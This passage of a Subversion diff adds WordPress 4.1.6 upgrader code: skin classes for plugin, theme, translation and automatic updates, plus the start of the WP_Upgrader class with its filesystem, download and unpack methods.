+		$this->upgrader->strings['skin_update_failed_error'] = __('An error occurred while updating %1$s: <strong>%2$s</strong>');
+		$this->upgrader->strings['skin_update_failed'] = __('The update of %1$s failed.');
+		$this->upgrader->strings['skin_update_successful'] = __('%1$s updated successfully.').' <a onclick="%2$s" href="#" class="hide-if-no-js"><span>'.__('Show Details').'</span><span class="hidden">'.__('Hide Details').'</span>.</a>';
+		$this->upgrader->strings['skin_upgrade_end'] = __('All updates have been completed.');
+	}
+
+	/**
+	 * @param string $string
+	 */
+	public function feedback($string) {
+		if ( isset( $this->upgrader->strings[$string] ) )
+			$string = $this->upgrader->strings[$string];
+
+		if ( strpos($string, '%') !== false ) {
+			$args = func_get_args();
+			$args = array_splice($args, 1);
+			if ( $args ) {
+				$args = array_map( 'strip_tags', $args );
+				$args = array_map( 'esc_html', $args );
+				$string = vsprintf($string, $args);
+			}
+		}
+		if ( empty($string) )
+			return;
+		if ( $this->in_loop )
+			echo "$string<br />\n";
+		else
+			echo "<p>$string</p>\n";
+	}
+
+	public function header() {
+		// Nothing, This will be displayed within a iframe.
+	}
+
+	public function footer() {
+		// Nothing, This will be displayed within a iframe.
+	}
+	public function error($error) {
+		if ( is_string($error) && isset( $this->upgrader->strings[$error] ) )
+			$this->error = $this->upgrader->strings[$error];
+
+		if ( is_wp_error($error) ) {
+			$messages = array();
+			foreach ( $error->get_error_messages() as $emessage ) {
+				if ( $error->get_error_data() && is_string( $error->get_error_data() ) )
+					$messages[] = $emessage . ' ' . esc_html( strip_tags( $error->get_error_data() ) );
+				else
+					$messages[] = $emessage;
+			}
+			$this->error = implode(', ', $messages);
+		}
+		echo '<script type="text/javascript">jQuery(\'.waiting-' . esc_js($this->upgrader->update_current) . '\').hide();</script>';
+	}
+
+	public function bulk_header() {
+		$this->feedback('skin_upgrade_start');
+	}
+
+	public function bulk_footer() {
+		$this->feedback('skin_upgrade_end');
+	}
+
+	public function before($title = '') {
+		$this->in_loop = true;
+		printf( '<h4>' . $this->upgrader->strings['skin_before_update_header'] . ' <span class="spinner waiting-' . $this->upgrader->update_current . '"></span></h4>',  $title, $this->upgrader->update_current, $this->upgrader->update_count);
+		echo '<script type="text/javascript">jQuery(\'.waiting-' . esc_js($this->upgrader->update_current) . '\').css("display", "inline-block");</script>';
+		echo '<div class="update-messages hide-if-js" id="progress-' . esc_attr($this->upgrader->update_current) . '"><p>';
+		$this->flush_output();
+	}
+
+	public function after($title = '') {
+		echo '</p></div>';
+		if ( $this->error || ! $this->result ) {
+			if ( $this->error )
+				echo '<div class="error"><p>' . sprintf($this->upgrader->strings['skin_update_failed_error'], $title, $this->error) . '</p></div>';
+			else
+				echo '<div class="error"><p>' . sprintf($this->upgrader->strings['skin_update_failed'], $title) . '</p></div>';
+
+			echo '<script type="text/javascript">jQuery(\'#progress-' . esc_js($this->upgrader->update_current) . '\').show();</script>';
+		}
+		if ( $this->result && ! is_wp_error( $this->result ) ) {
+			if ( ! $this->error )
+				echo '<div class="updated"><p>' . sprintf($this->upgrader->strings['skin_update_successful'], $title, 'jQuery(\'#progress-' . esc_js($this->upgrader->update_current) . '\').toggle();jQuery(\'span\', this).toggle(); return false;') . '</p></div>';
+			echo '<script type="text/javascript">jQuery(\'.waiting-' . esc_js($this->upgrader->update_current) . '\').hide();</script>';
+		}
+
+		$this->reset();
+		$this->flush_output();
+	}
+
+	public function reset() {
+		$this->in_loop = false;
+		$this->error = false;
+	}
+
+	public function flush_output() {
+		wp_ob_end_flush_all();
+		flush();
+	}
+}
+
+class Bulk_Plugin_Upgrader_Skin extends Bulk_Upgrader_Skin {
+	public $plugin_info = array(); // Plugin_Upgrader::bulk() will fill this in.
+
+	public function __construct($args = array()) {
+		parent::__construct($args);
+	}
+
+	public function add_strings() {
+		parent::add_strings();
+		$this->upgrader->strings['skin_before_update_header'] = __('Updating Plugin %1$s (%2$d/%3$d)');
+	}
+
+	public function before($title = '') {
+		parent::before($this->plugin_info['Title']);
+	}
+
+	public function after($title = '') {
+		parent::after($this->plugin_info['Title']);
+		$this->decrement_update_count( 'plugin' );
+	}
+	public function bulk_footer() {
+		parent::bulk_footer();
+		$update_actions =  array(
+			'plugins_page' => '<a href="' . self_admin_url('plugins.php') . '" title="' . esc_attr__('Go to plugins page') . '" target="_parent">' . __('Return to Plugins page') . '</a>',
+			'updates_page' => '<a href="' . self_admin_url('update-core.php') . '" title="' . esc_attr__('Go to WordPress Updates page') . '" target="_parent">' . __('Return to WordPress Updates') . '</a>'
+		);
+		if ( ! current_user_can( 'activate_plugins' ) )
+			unset( $update_actions['plugins_page'] );
+
+		/**
+		 * Filter the list of action links available following bulk plugin updates.
+		 *
+		 * @since 3.0.0
+		 *
+		 * @param array $update_actions Array of plugin action links.
+		 * @param array $plugin_info    Array of information for the last-updated plugin.
+		 */
+		$update_actions = apply_filters( 'update_bulk_plugins_complete_actions', $update_actions, $this->plugin_info );
+
+		if ( ! empty($update_actions) )
+			$this->feedback(implode(' | ', (array)$update_actions));
+	}
+}
+
+class Bulk_Theme_Upgrader_Skin extends Bulk_Upgrader_Skin {
+	public $theme_info = array(); // Theme_Upgrader::bulk() will fill this in.
+
+	public function __construct($args = array()) {
+		parent::__construct($args);
+	}
+
+	public function add_strings() {
+		parent::add_strings();
+		$this->upgrader->strings['skin_before_update_header'] = __('Updating Theme %1$s (%2$d/%3$d)');
+	}
+
+	public function before($title = '') {
+		parent::before( $this->theme_info->display('Name') );
+	}
+
+	public function after($title = '') {
+		parent::after( $this->theme_info->display('Name') );
+		$this->decrement_update_count( 'theme' );
+	}
+
+	public function bulk_footer() {
+		parent::bulk_footer();
+		$update_actions =  array(
+			'themes_page' => '<a href="' . self_admin_url('themes.php') . '" title="' . esc_attr__('Go to themes page') . '" target="_parent">' . __('Return to Themes page') . '</a>',
+			'updates_page' => '<a href="' . self_admin_url('update-core.php') . '" title="' . esc_attr__('Go to WordPress Updates page') . '" target="_parent">' . __('Return to WordPress Updates') . '</a>'
+		);
+		if ( ! current_user_can( 'switch_themes' ) && ! current_user_can( 'edit_theme_options' ) )
+			unset( $update_actions['themes_page'] );
+
+		/**
+		 * Filter the list of action links available following bulk theme updates.
+		 *
+		 * @since 3.0.0
+		 *
+		 * @param array $update_actions Array of theme action links.
+		 * @param array $theme_info     Array of information for the last-updated theme.
+		 */
+		$update_actions = apply_filters( 'update_bulk_theme_complete_actions', $update_actions, $this->theme_info );
+
+		if ( ! empty($update_actions) )
+			$this->feedback(implode(' | ', (array)$update_actions));
+	}
+}
+
+/**
+ * Plugin Installer Skin for WordPress Plugin Installer.
+ *
+ * @package WordPress
+ * @subpackage Upgrader
+ * @since 2.8.0
+ */
+class Plugin_Installer_Skin extends WP_Upgrader_Skin {
+	public $api;
+	public $type;
+
+	public function __construct($args = array()) {
+		$defaults = array( 'type' => 'web', 'url' => '', 'plugin' => '', 'nonce' => '', 'title' => '' );
+		$args = wp_parse_args($args, $defaults);
+
+		$this->type = $args['type'];
+		$this->api = isset($args['api']) ? $args['api'] : array();
+
+		parent::__construct($args);
+	}
+
+	public function before() {
+		if ( !empty($this->api) )
+			$this->upgrader->strings['process_success'] = sprintf( __('Successfully installed the plugin <strong>%s %s</strong>.'), $this->api->name, $this->api->version);
+	}
+
+	public function after() {
+
+		$plugin_file = $this->upgrader->plugin_info();
+
+		$install_actions = array();
+
+		$from = isset($_GET['from']) ? wp_unslash( $_GET['from'] ) : 'plugins';
+
+		if ( 'import' == $from )
+			$install_actions['activate_plugin'] = '<a href="' . wp_nonce_url('plugins.php?action=activate&amp;from=import&amp;plugin=' . urlencode( $plugin_file ), 'activate-plugin_' . $plugin_file) . '" title="' . esc_attr__('Activate this plugin') . '" target="_parent">' . __('Activate Plugin &amp; Run Importer') . '</a>';
+		else
+			$install_actions['activate_plugin'] = '<a href="' . wp_nonce_url('plugins.php?action=activate&amp;plugin=' . urlencode( $plugin_file ), 'activate-plugin_' . $plugin_file) . '" title="' . esc_attr__('Activate this plugin') . '" target="_parent">' . __('Activate Plugin') . '</a>';
+
+		if ( is_multisite() && current_user_can( 'manage_network_plugins' ) ) {
+			$install_actions['network_activate'] = '<a href="' . wp_nonce_url('plugins.php?action=activate&amp;networkwide=1&amp;plugin=' . urlencode( $plugin_file ), 'activate-plugin_' . $plugin_file) . '" title="' . esc_attr__('Activate this plugin for all sites in this network') . '" target="_parent">' . __('Network Activate') . '</a>';
+			unset( $install_actions['activate_plugin'] );
+		}
+
+		if ( 'import' == $from )
+			$install_actions['importers_page'] = '<a href="' . admin_url('import.php') . '" title="' . esc_attr__('Return to Importers') . '" target="_parent">' . __('Return to Importers') . '</a>';
+		else if ( $this->type == 'web' )
+			$install_actions['plugins_page'] = '<a href="' . self_admin_url('plugin-install.php') . '" title="' . esc_attr__('Return to Plugin Installer') . '" target="_parent">' . __('Return to Plugin Installer') . '</a>';
+		else
+			$install_actions['plugins_page'] = '<a href="' . self_admin_url('plugins.php') . '" title="' . esc_attr__('Return to Plugins page') . '" target="_parent">' . __('Return to Plugins page') . '</a>';
+
+		if ( ! $this->result || is_wp_error($this->result) ) {
+			unset( $install_actions['activate_plugin'], $install_actions['network_activate'] );
+		} elseif ( ! current_user_can( 'activate_plugins' ) ) {
+			unset( $install_actions['activate_plugin'] );
+		}
+
+		/**
+		 * Filter the list of action links available following a single plugin installation.
+		 *
+		 * @since 2.7.0
+		 *
+		 * @param array  $install_actions Array of plugin action links.
+		 * @param object $api             Object containing WordPress.org API plugin data. Empty
+		 *                                for non-API installs, such as when a plugin is installed
+		 *                                via upload.
+		 * @param string $plugin_file     Path to the plugin file.
+		 */
+		$install_actions = apply_filters( 'install_plugin_complete_actions', $install_actions, $this->api, $plugin_file );
+
+		if ( ! empty($install_actions) )
+			$this->feedback(implode(' | ', (array)$install_actions));
+	}
+}
+
+/**
+ * Theme Installer Skin for the WordPress Theme Installer.
+ *
+ * @package WordPress
+ * @subpackage Upgrader
+ * @since 2.8.0
+ */
+class Theme_Installer_Skin extends WP_Upgrader_Skin {
+	public $api;
+	public $type;
+
+	public function __construct($args = array()) {
+		$defaults = array( 'type' => 'web', 'url' => '', 'theme' => '', 'nonce' => '', 'title' => '' );
+		$args = wp_parse_args($args, $defaults);
+
+		$this->type = $args['type'];
+		$this->api = isset($args['api']) ? $args['api'] : array();
+
+		parent::__construct($args);
+	}
+
+	public function before() {
+		if ( !empty($this->api) )
+			$this->upgrader->strings['process_success'] = sprintf( $this->upgrader->strings['process_success_specific'], $this->api->name, $this->api->version);
+	}
+
+	public function after() {
+		if ( empty($this->upgrader->result['destination_name']) )
+			return;
+
+		$theme_info = $this->upgrader->theme_info();
+		if ( empty( $theme_info ) )
+			return;
+
+		$name       = $theme_info->display('Name');
+		$stylesheet = $this->upgrader->result['destination_name'];
+		$template   = $theme_info->get_template();
+
+		$preview_link = add_query_arg( array(
+			'preview'    => 1,
+			'template'   => urlencode( $template ),
+			'stylesheet' => urlencode( $stylesheet ),
+		), trailingslashit( home_url() ) );
+
+		$activate_link = add_query_arg( array(
+			'action'     => 'activate',
+			'template'   => urlencode( $template ),
+			'stylesheet' => urlencode( $stylesheet ),
+		), admin_url('themes.php') );
+		$activate_link = wp_nonce_url( $activate_link, 'switch-theme_' . $stylesheet );
+
+		$install_actions = array();
+		$install_actions['preview']  = '<a href="' . esc_url( $preview_link ) . '" class="hide-if-customize" title="' . esc_attr( sprintf( __('Preview &#8220;%s&#8221;'), $name ) ) . '">' . __('Preview') . '</a>';
+		if ( current_user_can( 'edit_theme_options' ) && current_user_can( 'customize' ) ) {
+			$install_actions['preview'] .= '<a href="' . wp_customize_url( $stylesheet ) . '" class="hide-if-no-customize load-customize" title="' . esc_attr( sprintf( __('Preview &#8220;%s&#8221;'), $name ) ) . '">' . __('Live Preview') . '</a>';
+		}
+		$install_actions['activate'] = '<a href="' . esc_url( $activate_link ) . '" class="activatelink" title="' . esc_attr( sprintf( __('Activate &#8220;%s&#8221;'), $name ) ) . '">' . __('Activate') . '</a>';
+
+		if ( is_network_admin() && current_user_can( 'manage_network_themes' ) )
+			$install_actions['network_enable'] = '<a href="' . esc_url( wp_nonce_url( 'themes.php?action=enable&amp;theme=' . urlencode( $stylesheet ), 'enable-theme_' . $stylesheet ) ) . '" title="' . esc_attr__( 'Enable this theme for all sites in this network' ) . '" target="_parent">' . __( 'Network Enable' ) . '</a>';
+
+		if ( $this->type == 'web' )
+			$install_actions['themes_page'] = '<a href="' . self_admin_url('theme-install.php') . '" title="' . esc_attr__('Return to Theme Installer') . '" target="_parent">' . __('Return to Theme Installer') . '</a>';
+		elseif ( current_user_can( 'switch_themes' ) || current_user_can( 'edit_theme_options' ) )
+			$install_actions['themes_page'] = '<a href="' . self_admin_url('themes.php') . '" title="' . esc_attr__('Themes page') . '" target="_parent">' . __('Return to Themes page') . '</a>';
+
+		if ( ! $this->result || is_wp_error($this->result) || is_network_admin() || ! current_user_can( 'switch_themes' ) )
+			unset( $install_actions['activate'], $install_actions['preview'] );
+
+		/**
+		 * Filter the list of action links available following a single theme installation.
+		 *
+		 * @since 2.8.0
+		 *
+		 * @param array    $install_actions Array of theme action links.
+		 * @param object   $api             Object containing WordPress.org API theme data.
+		 * @param string   $stylesheet      Theme directory name.
+		 * @param WP_Theme $theme_info      Theme object.
+		 */
+		$install_actions = apply_filters( 'install_theme_complete_actions', $install_actions, $this->api, $stylesheet, $theme_info );
+		if ( ! empty($install_actions) )
+			$this->feedback(implode(' | ', (array)$install_actions));
+	}
+}
+
+/**
+ * Theme Upgrader Skin for WordPress Theme Upgrades.
+ *
+ * @package WordPress
+ * @subpackage Upgrader
+ * @since 2.8.0
+ */
+class Theme_Upgrader_Skin extends WP_Upgrader_Skin {
+	public $theme = '';
+
+	public function __construct($args = array()) {
+		$defaults = array( 'url' => '', 'theme' => '', 'nonce' => '', 'title' => __('Update Theme') );
+		$args = wp_parse_args($args, $defaults);
+
+		$this->theme = $args['theme'];
+
+		parent::__construct($args);
+	}
+
+	public function after() {
+		$this->decrement_update_count( 'theme' );
+
+		$update_actions = array();
+		if ( ! empty( $this->upgrader->result['destination_name'] ) && $theme_info = $this->upgrader->theme_info() ) {
+			$name       = $theme_info->display('Name');
+			$stylesheet = $this->upgrader->result['destination_name'];
+			$template   = $theme_info->get_template();
+
+			$preview_link = add_query_arg( array(
+				'preview'    => 1,
+				'template'   => urlencode( $template ),
+				'stylesheet' => urlencode( $stylesheet ),
+			), trailingslashit( home_url() ) );
+
+			$activate_link = add_query_arg( array(
+				'action'     => 'activate',
+				'template'   => urlencode( $template ),
+				'stylesheet' => urlencode( $stylesheet ),
+			), admin_url('themes.php') );
+			$activate_link = wp_nonce_url( $activate_link, 'switch-theme_' . $stylesheet );
+
+			if ( get_stylesheet() == $stylesheet ) {
+				if ( current_user_can( 'edit_theme_options' ) && current_user_can( 'customize' ) ) {
+					$update_actions['preview']  = '<a href="' . wp_customize_url( $stylesheet ) . '" class="hide-if-no-customize load-customize" title="' . esc_attr( sprintf( __('Customize &#8220;%s&#8221;'), $name ) ) . '">' . __('Customize') . '</a>';
+				}
+			} elseif ( current_user_can( 'switch_themes' ) ) {
+				$update_actions['preview']  = '<a href="' . esc_url( $preview_link ) . '" class="hide-if-customize" title="' . esc_attr( sprintf( __('Preview &#8220;%s&#8221;'), $name ) ) . '">' . __('Preview') . '</a>';
+				if ( current_user_can( 'edit_theme_options' ) && current_user_can( 'customize' ) ) {
+					$update_actions['preview'] .= '<a href="' . wp_customize_url( $stylesheet ) . '" class="hide-if-no-customize load-customize" title="' . esc_attr( sprintf( __('Preview &#8220;%s&#8221;'), $name ) ) . '">' . __('Live Preview') . '</a>';
+				}
+				$update_actions['activate'] = '<a href="' . esc_url( $activate_link ) . '" class="activatelink" title="' . esc_attr( sprintf( __('Activate &#8220;%s&#8221;'), $name ) ) . '">' . __('Activate') . '</a>';
+			}
+
+			if ( ! $this->result || is_wp_error( $this->result ) || is_network_admin() )
+				unset( $update_actions['preview'], $update_actions['activate'] );
+		}
+
+		$update_actions['themes_page'] = '<a href="' . self_admin_url('themes.php') . '" title="' . esc_attr__('Return to Themes page') . '" target="_parent">' . __('Return to Themes page') . '</a>';
+
+		/**
+		 * Filter the list of action links available following a single theme update.
+		 *
+		 * @since 2.8.0
+		 *
+		 * @param array  $update_actions Array of theme action links.
+		 * @param string $theme          Theme directory name.
+		 */
+		$update_actions = apply_filters( 'update_theme_complete_actions', $update_actions, $this->theme );
+
+		if ( ! empty($update_actions) )
+			$this->feedback(implode(' | ', (array)$update_actions));
+	}
+}
+
+/**
+ * Translation Upgrader Skin for WordPress Translation Upgrades.
+ *
+ * @package WordPress
+ * @subpackage Upgrader
+ * @since 3.7.0
+ */
+class Language_Pack_Upgrader_Skin extends WP_Upgrader_Skin {
+	public $language_update = null;
+	public $done_header = false;
+	public $done_footer = false;
+	public $display_footer_actions = true;
+
+	public function __construct( $args = array() ) {
+		$defaults = array( 'url' => '', 'nonce' => '', 'title' => __( 'Update Translations' ), 'skip_header_footer' => false );
+		$args = wp_parse_args( $args, $defaults );
+		if ( $args['skip_header_footer'] ) {
+			$this->done_header = true;
+			$this->done_footer = true;
+			$this->display_footer_actions = false;
+		}
+		parent::__construct( $args );
+	}
+
+	public function before() {
+		$name = $this->upgrader->get_name_for_update( $this->language_update );
+
+		echo '<div class="update-messages lp-show-latest">';
+
+		printf( '<h4>' . __( 'Updating translations for %1$s (%2$s)&#8230;' ) . '</h4>', $name, $this->language_update->language );
+	}
+
+	public function error( $error ) {
+		echo '<div class="lp-error">';
+		parent::error( $error );
+		echo '</div>';
+	}
+
+	public function after() {
+		echo '</div>';
+	}
+
+	public function bulk_footer() {
+		$this->decrement_update_count( 'translation' );
+		$update_actions = array();
+		$update_actions['updates_page'] = '<a href="' . self_admin_url( 'update-core.php' ) . '" title="' . esc_attr__( 'Go to WordPress Updates page' ) . '" target="_parent">' . __( 'Return to WordPress Updates' ) . '</a>';
+
+		/**
+		 * Filter the list of action links available following a translations update.
+		 *
+		 * @since 3.7.0
+		 *
+		 * @param array $update_actions Array of translations update links.
+		 */
+		$update_actions = apply_filters( 'update_translations_complete_actions', $update_actions );
+
+		if ( $update_actions && $this->display_footer_actions )
+			$this->feedback( implode( ' | ', $update_actions ) );
+	}
+}
+
+/**
+ * Upgrader Skin for Automatic WordPress Upgrades
+ *
+ * This skin is designed to be used when no output is intended, all output
+ * is captured and stored for the caller to process and log/email/discard.
+ *
+ * @package WordPress
+ * @subpackage Upgrader
+ * @since 3.7.0
+ */
+class Automatic_Upgrader_Skin extends WP_Upgrader_Skin {
+	protected $messages = array();
+
+	public function request_filesystem_credentials( $error = false, $context = '', $allow_relaxed_file_ownership = false ) {
+		if ( $context ) {
+			$this->options['context'] = $context;
+		}
+		// TODO: fix up request_filesystem_credentials(), or split it, to allow us to request a no-output version
+		// This will output a credentials form in event of failure, We don't want that, so just hide with a buffer
+		ob_start();
+		$result = parent::request_filesystem_credentials( $error, $context, $allow_relaxed_file_ownership );
+		ob_end_clean();
+		return $result;
+	}
+
+	public function get_upgrade_messages() {
+		return $this->messages;
+	}
+
+	/**
+	 * @param string|array|WP_Error $data
+	 */
+	public function feedback( $data ) {
+		if ( is_wp_error( $data ) )
+			$string = $data->get_error_message();
+		else if ( is_array( $data ) )
+			return;
+		else
+			$string = $data;
+
+		if ( ! empty( $this->upgrader->strings[ $string ] ) )
+			$string = $this->upgrader->strings[ $string ];
+
+		if ( strpos( $string, '%' ) !== false ) {
+			$args = func_get_args();
+			$args = array_splice( $args, 1 );
+			if ( ! empty( $args ) )
+				$string = vsprintf( $string, $args );
+		}
+
+		$string = trim( $string );
+
+		// Only allow basic HTML in the messages, as it'll be used in emails/logs rather than direct browser output.
+		$string = wp_kses( $string, array(
+			'a' => array(
+				'href' => true
+			),
+			'br' => true,
+			'em' => true,
+			'strong' => true,
+		) );
+
+		if ( empty( $string ) )
+			return;
+
+		$this->messages[] = $string;
+	}
+
+	public function header() {
+		ob_start();
+	}
+
+	public function footer() {
+		$output = ob_get_contents();
+		if ( ! empty( $output ) )
+			$this->feedback( $output );
+		ob_end_clean();
+	}
+
+	public function bulk_header() {}
+	public function bulk_footer() {}
+	public function before() {}
+	public function after() {}
+}
Index: /tags/4.1.6/src/wp-admin/includes/class-wp-upgrader.php
===================================================================
--- /tags/4.1.6/src/wp-admin/includes/class-wp-upgrader.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/includes/class-wp-upgrader.php	(revision 33402)
@@ -0,0 +1,3253 @@
+<?php
+/**
+ * A File upgrader class for WordPress.
+ *
+ * This set of classes are designed to be used to upgrade/install a local set of files on the filesystem via the Filesystem Abstraction classes.
+ *
+ * @link https://core.trac.wordpress.org/ticket/7875 consolidate plugin/theme/core upgrade/install functions
+ *
+ * @package WordPress
+ * @subpackage Upgrader
+ * @since 2.8.0
+ */
+
+require ABSPATH . 'wp-admin/includes/class-wp-upgrader-skins.php';
+
+/**
+ * WordPress Upgrader class for Upgrading/Installing a local set of files via the Filesystem Abstraction classes from a Zip file.
+ *
+ * @package WordPress
+ * @subpackage Upgrader
+ * @since 2.8.0
+ */
+class WP_Upgrader {
+
+	/**
+	 * The error/notification strings used to update the user on the progress.
+	 *
+	 * @since 2.8.0
+	 * @var string $strings
+	 */
+	public $strings = array();
+
+	/**
+	 * The upgrader skin being used.
+	 *
+	 * @since 2.8.0
+	 * @var WP_Upgrader_Skin $skin
+	 */
+	public $skin = null;
+
+	/**
+	 * The result of the installation.
+	 *
+	 * This is set by {@see WP_Upgrader::install_package()}, only when the package is installed
+	 * successfully. It will then be an array, unless a {@see WP_Error} is returned by the
+	 * {@see 'upgrader_post_install'} filter. In that case, the `WP_Error` will be assigned to
+	 * it.
+	 *
+	 * @since 2.8.0
+	 * @var WP_Error|array $result {
+	 *      @type string $source             The full path to the source the files were installed from.
+	 *      @type string $source_files       List of all the files in the source directory.
+	 *      @type string $destination        The full path to the install destination folder.
+	 *      @type string $destination_name   The name of the destination folder, or empty if `$destination`
+	 *                                       and `$local_destination` are the same.
+	 *      @type string $local_destination  The full local path to the destination folder. This is usually
+	 *                                       the same as `$destination`.
+	 *      @type string $remote_destination The full remote path to the destination folder
+	 *                                       (i.e., from `$wp_filesystem`).
+	 *      @type bool   $clear_destination  Whether the destination folder was cleared.
+	 * }
+	 */
+	public $result = array();
+
+	/**
+	 * The total number of updates being performed.
+	 *
+	 * Set by the bulk update methods.
+	 *
+	 * @since 3.0.0
+	 * @var int $update_count
+	 */
+	public $update_count = 0;
+
+	/**
+	 * The current update if multiple updates are being performed.
+	 *
+	 * Used by the bulk update methods, and incremented for each update.
+	 *
+	 * @since 3.0.0
+	 * @var int
+	 */
+	public $update_current = 0;
+
+	/**
+	 * Construct the upgrader with a skin.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param WP_Upgrader_Skin $skin The upgrader skin to use. Default is a {@see WP_Upgrader_Skin}
+	 *                               instance.
+	 */
+	public function __construct( $skin = null ) {
+		if ( null == $skin )
+			$this->skin = new WP_Upgrader_Skin();
+		else
+			$this->skin = $skin;
+	}
+
+	/**
+	 * Initialize the upgrader.
+	 *
+	 * This will set the relationship between the skin being used and this upgrader,
+	 * and also add the generic strings to `WP_Upgrader::$strings`.
+	 *
+	 * @since 2.8.0
+	 */
+	public function init() {
+		$this->skin->set_upgrader($this);
+		$this->generic_strings();
+	}
+
+	/**
+	 * Add the generic strings to WP_Upgrader::$strings.
+	 *
+	 * @since 2.8.0
+	 */
+	public function generic_strings() {
+		$this->strings['bad_request'] = __('Invalid Data provided.');
+		$this->strings['fs_unavailable'] = __('Could not access filesystem.');
+		$this->strings['fs_error'] = __('Filesystem error.');
+		$this->strings['fs_no_root_dir'] = __('Unable to locate WordPress Root directory.');
+		$this->strings['fs_no_content_dir'] = __('Unable to locate WordPress Content directory (wp-content).');
+		$this->strings['fs_no_plugins_dir'] = __('Unable to locate WordPress Plugin directory.');
+		$this->strings['fs_no_themes_dir'] = __('Unable to locate WordPress Theme directory.');
+		/* translators: %s: directory name */
+		$this->strings['fs_no_folder'] = __('Unable to locate needed folder (%s).');
+
+		$this->strings['download_failed'] = __('Download failed.');
+		$this->strings['installing_package'] = __('Installing the latest version&#8230;');
+		$this->strings['no_files'] = __('The package contains no files.');
+		$this->strings['folder_exists'] = __('Destination folder already exists.');
+		$this->strings['mkdir_failed'] = __('Could not create directory.');
+		$this->strings['incompatible_archive'] = __('The package could not be installed.');
+
+		$this->strings['maintenance_start'] = __('Enabling Maintenance mode&#8230;');
+		$this->strings['maintenance_end'] = __('Disabling Maintenance mode&#8230;');
+	}
+
+	/**
+	 * Connect to the filesystem.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param array $directories                  Optional. A list of directories. If any of these do
+	 *                                            not exist, a {@see WP_Error} object will be returned.
+	 *                                            Default empty array.
+	 * @param bool  $allow_relaxed_file_ownership Whether to allow relaxed file ownership.
+	 *                                            Default false.
+	 * @return bool|WP_Error True if able to connect, false or a {@see WP_Error} otherwise.
+	 */
+	public function fs_connect( $directories = array(), $allow_relaxed_file_ownership = false ) {
+		global $wp_filesystem;
+
+		if ( false === ( $credentials = $this->skin->request_filesystem_credentials( false, $directories[0], $allow_relaxed_file_ownership ) ) ) {
+			return false;
+		}
+
+		if ( ! WP_Filesystem( $credentials, $directories[0], $allow_relaxed_file_ownership ) ) {
+			$error = true;
+			if ( is_object($wp_filesystem) && $wp_filesystem->errors->get_error_code() )
+				$error = $wp_filesystem->errors;
+			// Failed to connect, Error and request again
+			$this->skin->request_filesystem_credentials( $error, $directories[0], $allow_relaxed_file_ownership );
+			return false;
+		}
+
+		if ( ! is_object($wp_filesystem) )
+			return new WP_Error('fs_unavailable', $this->strings['fs_unavailable'] );
+
+		if ( is_wp_error($wp_filesystem->errors) && $wp_filesystem->errors->get_error_code() )
+			return new WP_Error('fs_error', $this->strings['fs_error'], $wp_filesystem->errors);
+
+		foreach ( (array)$directories as $dir ) {
+			switch ( $dir ) {
+				case ABSPATH:
+					if ( ! $wp_filesystem->abspath() )
+						return new WP_Error('fs_no_root_dir', $this->strings['fs_no_root_dir']);
+					break;
+				case WP_CONTENT_DIR:
+					if ( ! $wp_filesystem->wp_content_dir() )
+						return new WP_Error('fs_no_content_dir', $this->strings['fs_no_content_dir']);
+					break;
+				case WP_PLUGIN_DIR:
+					if ( ! $wp_filesystem->wp_plugins_dir() )
+						return new WP_Error('fs_no_plugins_dir', $this->strings['fs_no_plugins_dir']);
+					break;
+				case get_theme_root():
+					if ( ! $wp_filesystem->wp_themes_dir() )
+						return new WP_Error('fs_no_themes_dir', $this->strings['fs_no_themes_dir']);
+					break;
+				default:
+					if ( ! $wp_filesystem->find_folder($dir) )
+						return new WP_Error( 'fs_no_folder', sprintf( $this->strings['fs_no_folder'], esc_html( basename( $dir ) ) ) );
+					break;
+			}
+		}
+		return true;
+	} //end fs_connect();
+
+	/**
+	 * Download a package.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param string $package The URI of the package. If this is the full path to an
+	 *                        existing local file, it will be returned untouched.
+	 * @return string|WP_Error The full path to the downloaded package file, or a {@see WP_Error} object.
+	 */
+	public function download_package( $package ) {
+
+		/**
+		 * Filter whether to return the package.
+		 *
+		 * @since 3.7.0
+		 *
+		 * @param bool        $reply   Whether to bail without returning the package.
+		 *                             Default false.
+		 * @param string      $package The package file name.
+		 * @param WP_Upgrader $this    The WP_Upgrader instance.
+		 */
+		$reply = apply_filters( 'upgrader_pre_download', false, $package, $this );
+		if ( false !== $reply )
+			return $reply;
+
+		if ( ! preg_match('!^(http|https|ftp)://!i', $package) && file_exists($package) ) //Local file or remote?
+			return $package; //must be a local file..
+
+		if ( empty($package) )
+			return new WP_Error('no_package', $this->strings['no_package']);
+
+		$this->skin->feedback('downloading_package', $package);
+
+		$download_file = download_url($package);
+
+		if ( is_wp_error($download_file) )
+			return new WP_Error('download_failed', $this->strings['download_failed'], $download_file->get_error_message());
+
+		return $download_file;
+	}
+
+	/**
+	 * Unpack a compressed package file.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param string $package        Full path to the package file.
+	 * @param bool   $delete_package Optional. Whether to delete the package file after attempting
+	 *                               to unpack it. Default true.
+	 * @return string|WP_Error The path to the unpacked contents, or a {@see WP_Error} on failure.
+	 */
+	public function unpack_package( $package, $delete_package = true ) {
+		global $wp_filesystem;
+
+		$this->skin->feedback('unpack_package');
+
+		$upgrade_folder = $wp_filesystem->wp_content_dir() . 'upgrade/';
+
+		//Clean up contents of upgrade directory beforehand.
+		$upgrade_files = $wp_filesystem->dirlist($upgrade_folder);
+		if ( !empty($upgrade_files) ) {
+			foreach ( $upgrade_files as $file )
+				$wp_filesystem->delete($upgrade_folder . $file['name'], true);
+		}
+
+		//We need a working directory
+		$working_dir = $upgrade_folder . basename($package, '.zip');
+
+		// Clean up working directory
+		if ( $wp_filesystem->is_dir($working_dir) )
+			$wp_filesystem->delete($working_dir, true);
+
+		// Unzip package to working directory
+		$result = unzip_file( $package, $working_dir );
+
+		// Once extracted, delete the package if required.
+		if ( $delete_package )
+			unlink($package);
+
+		if ( is_wp_error($result) ) {
+			$wp_filesystem->delete($working_dir, true);
+			if ( 'incompatible_archive' == $result->get_error_code() ) {
+				return new WP_Error( 'incompatible_archive', $this->strings['incompatible_archive'], $result->get_error_data() );
+			}
+			return $result;
+		}
+
+		return $working_dir;
+	}
+
+	/**
+	 * Install a package.
+	 *
+	 * Copies the contents of a package form a source directory, and installs them in
+	 * a destination directory. Optionally removes the source. It can also optionally
+	 * clear out the destination folder if it already exists.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param array|string $args {
+	 *     Optional. Array or string of arguments for installing a package. Default empty array.
+	 *
